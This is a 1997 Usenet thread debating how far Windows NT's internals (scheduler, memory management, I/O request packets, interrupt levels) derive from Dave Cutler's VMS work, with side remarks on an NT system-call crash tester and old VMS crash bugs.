doubt that Cutler took his knowledge with him. WNT device drivers just look
like slightly matured variation on VMS device drivers, right down to the IRPs.
Alan Greig
jfmezei wrote:
>
> David Cathey (Remove MX to mail) wrote:
> > culmulated into OpenVMS. The sad thing is Cutler had to capitulate
> > to a Windows assimilation of his theoretically sound base O/S.
> > You'd think he would have taken the tenets of procedure calling
> > standards with him as well.
>
> I think it is quite pretentious of the VMSer to think that Cutler
> had so much design authority over NT and that he would have taken
> his VMS knowledge with him.
I'm sorry but the quotes about WNT, the design authority he had
and his inclusion of code based on work carried out for Digital
come directly from Dave Cutler himself and are splattered all over
the book: "Showstopper - the story of Windows NT". Cutler didn't just
take himself to Microsoft - he took a large part of his team from
Digital with him as well.
Given that DEC are going after Intel I cannot help wonder how
closely their lawyers have studied this book...
Glenn C. Everhart
>I think it is quite pretentious of the VMSer to think that Cutler
>had so much design authority over NT and that he would have taken
>his VMS knowledge with him.
Think again. Though Mica and RSX knowledge went too...
Jamie Hanrahan, Kernel Mode Systems
In article <338A48...@videotron.ca>,
jfmezei <"[nospam]jfmezei"@videotron.ca> writes:
> David Cathey (Remove MX to mail) wrote:
>> culmulated into OpenVMS. The sad thing is Cutler had to capitulate
>> to a Windows assimilation of his theoretically sound base O/S.
>> You'd think he would have taken the tenets of procedure calling
>> standards with him as well.
>
> had so much design authority over NT and that he would have taken
> his VMS knowledge with him.
Not pretentitious at all. We're simply aware of facts you apparently
haven't heard about.
From the internals point of view there is utterly no question that NT
is VMS re-implemented.
> Cutler was told to replace DOS with a real kernel over which Windows
> could run, over which teh windows API could run etc etc.
This is off-topic, but you're incorrect here also. Originally there
wasn't even going to be a Win32 API - 16-bit Windows had not gotten
all that popular when NT was conceived. NT was originally to be a
follow-on to OS/2, and a cooperative effort with IBM. But somewhere
along the way Windows got pretty popular, IBM and MS split the beast,
IBM getting the OS/2 parts and MS keeping the NT parts.
> If you look at the PSION PDA operating system (called EPOC), you'll also
> find many many similarities with VMS. Event Flags, Interprocess
> Mailboxes, shared memory between processes, process priorities, and even
> a utility (SPY) which is the equivalent to SHOW SYS. Its IO system is
> similar to VMS (an equivalent to $ASSIGN with the device name
> determining which driver to use, and $QIO which is more or less
> independant of the device itself.).
That's out at the UI and API level. We're talking about internal
similarities.
> NT is an WINDOWS operating system with modern operating systems
> services. They were implemented with the Windows API mentality.
> Stop thinking that NT is VMS with WINDOWS above it.
No, not "VMS with Windows above it", but a VMS-derived design with
Windows above it, most certainly.
> NT differs from DOS in that it has real operating system features, but
> the later are not the exclusivity of VMS.
The "real operating system features" you speak of are at the UI and
API level. They are not the reasons we consider NT to be a
reimplementation of VMS at the internal level.
How about:
The scheduler. (process scheduler in VMS, thread scheduler in NT)
32 scheduling priorities, divided into the "real-time" (16-31) and
"variable" (0-15) priority ranges. identical preemption at ready by
higher-priority threads; identical quantum and priority boost
implementations; identical CPU starvation avoidance mechanism to get
out of priority inversion situations; a null thread for each CPU;
etc., etc.
Memory management. 0-7FFFFFFF is per-process, mostly
user-mode-accessible only; 80000000-FFFFFFFF is systemwide, mostly
kernel-accessible only. Functionally identical implementations of
paging vs. swapping.
I/O. I could write a book (in fact, I am), but briefly, IRPs are
IRPs, UCBs are "device objects", CRBs are "controller objects", ADPs
are "adapter objects", FDT routines are "dispatch routines",
EXE$QIODRVPKT is IoStartPacket, StartIO routines are StartIO routines,
fork routines are DPC routines, ASTs are APCs... etc., etc., etc.,
etc., etc.
Interrupt handling. 32 levels of interrupts (some simulated but this
is nevertheless the way the code is written). IPLs on VMS, IRQLs on
NT. In order: Passive level, APC (AST) Level, Dispatch (fork) level,
then the IO hardware interrupts, then some "hardware maintenance"
functions like the hardware timer, IPI, power fail notification, and
HIGH_LEVEL to block all interrupts.
Face it, JF, you're wrong. Worse, you are writing not just in
misunderstanding but in ignorance of the facts. Please go read
_Showstopper_ and _Inside Windows NT_ (Custer) before opining further
on this subject.
--- Jamie Hanrahan, Kernel Mode Systems, San Diego CA
Internet: j...@cmkrnl.com (JH645) CompuServe: 74140,2055
drivers, internals, networks, applications, and training for VMS and Windows NT
NT driver FAQ, links, and other information: http://www.cmkrnl.com/
If you post a reply in news, please don't e-mail it too.
Larry D Bohan, Jr.
On Sat, 24 May 1997 16:56:35 -1300, "David Cathey (Remove MX to mail)"
<dav...@mx.montagar.com> wrote:
> Well, sort of. There was OS/8, TOPS-10/20, RSX-11, RSTS-11,
>and eventually OpenVMS. DEC had several O/S's to learn from that has
>to a Windows assimilation of his theoretically sound base O/S.
>You'd think he would have taken the tenets of procedure calling
>standards with him as well.
below, find a URL that points to a description of how simple it
is (was) to crash NT by mere fumbling at the user API level. (ie,
pass a bad address ..)
interestingly, the authors note that they were not able to induce a
crash in NTOSKRNL this way. apparently, the kernel was more
robust in this respect. (ie, parameter validation).
MS has supposedly closed the holes noted by this article in
service pack 2.
imagine being able to crash VMS by simple mis-use of
a system service or RTL call. maybe the old-timers can
tell us if this was the case w/ VMS 1.x, or 2.x ?
NTCrash
Copyright © 1996 Mark Russinovich and Bryce Cogswell. last updated
December 31, 1996. NTCrash V1.0 - NT System Call Interface Tester.
Introduction....
http://www.ntinternals.com/crashme.htm - size 7K - 1 Jan 97
Robert Koehler
Larry D Bohan, Jr. (lbo...@dbc.com.no_spam) wrote:
: imagine being able to crash VMS by simple mis-use of
: a system service or RTL call. maybe the old-timers can
: tell us if this was the case w/ VMS 1.x, or 2.x ?
Easier than that. Our first 11/780 (running VMS 1.6 I think) at school in
1980 came with a microcode bug in a seldom used math instruction. We had one
program which "demonstrated" that bug, resulting in a system crash.
Or at least that's what they told me every time we used that program to force
a reboot.
And then there was the system service with the security hole...
jfmezei
Jamie Hanrahan, Kernel Mode Systems wrote:
> Face it, JF, you're wrong. Worse, you are writing not just in
> misunderstanding but in ignorance of the facts. Please go read
> _Showstopper_ and _Inside Windows NT_ (Custer) before opining further
> on this subject.
Ok I stand corrected. NT uses a lot of similar facilities and concepts
as VMS. But this does not mean that NT is the only one which is inspired
from VMS, now does it mean that those concepts are exclusive of VMS (and
NT).
When NT came out, people pointed to me the similarities to VMS at a
higher level than you described, and those features (at the higher
level) are common to many other operating systems, including PSION
pocket organisers.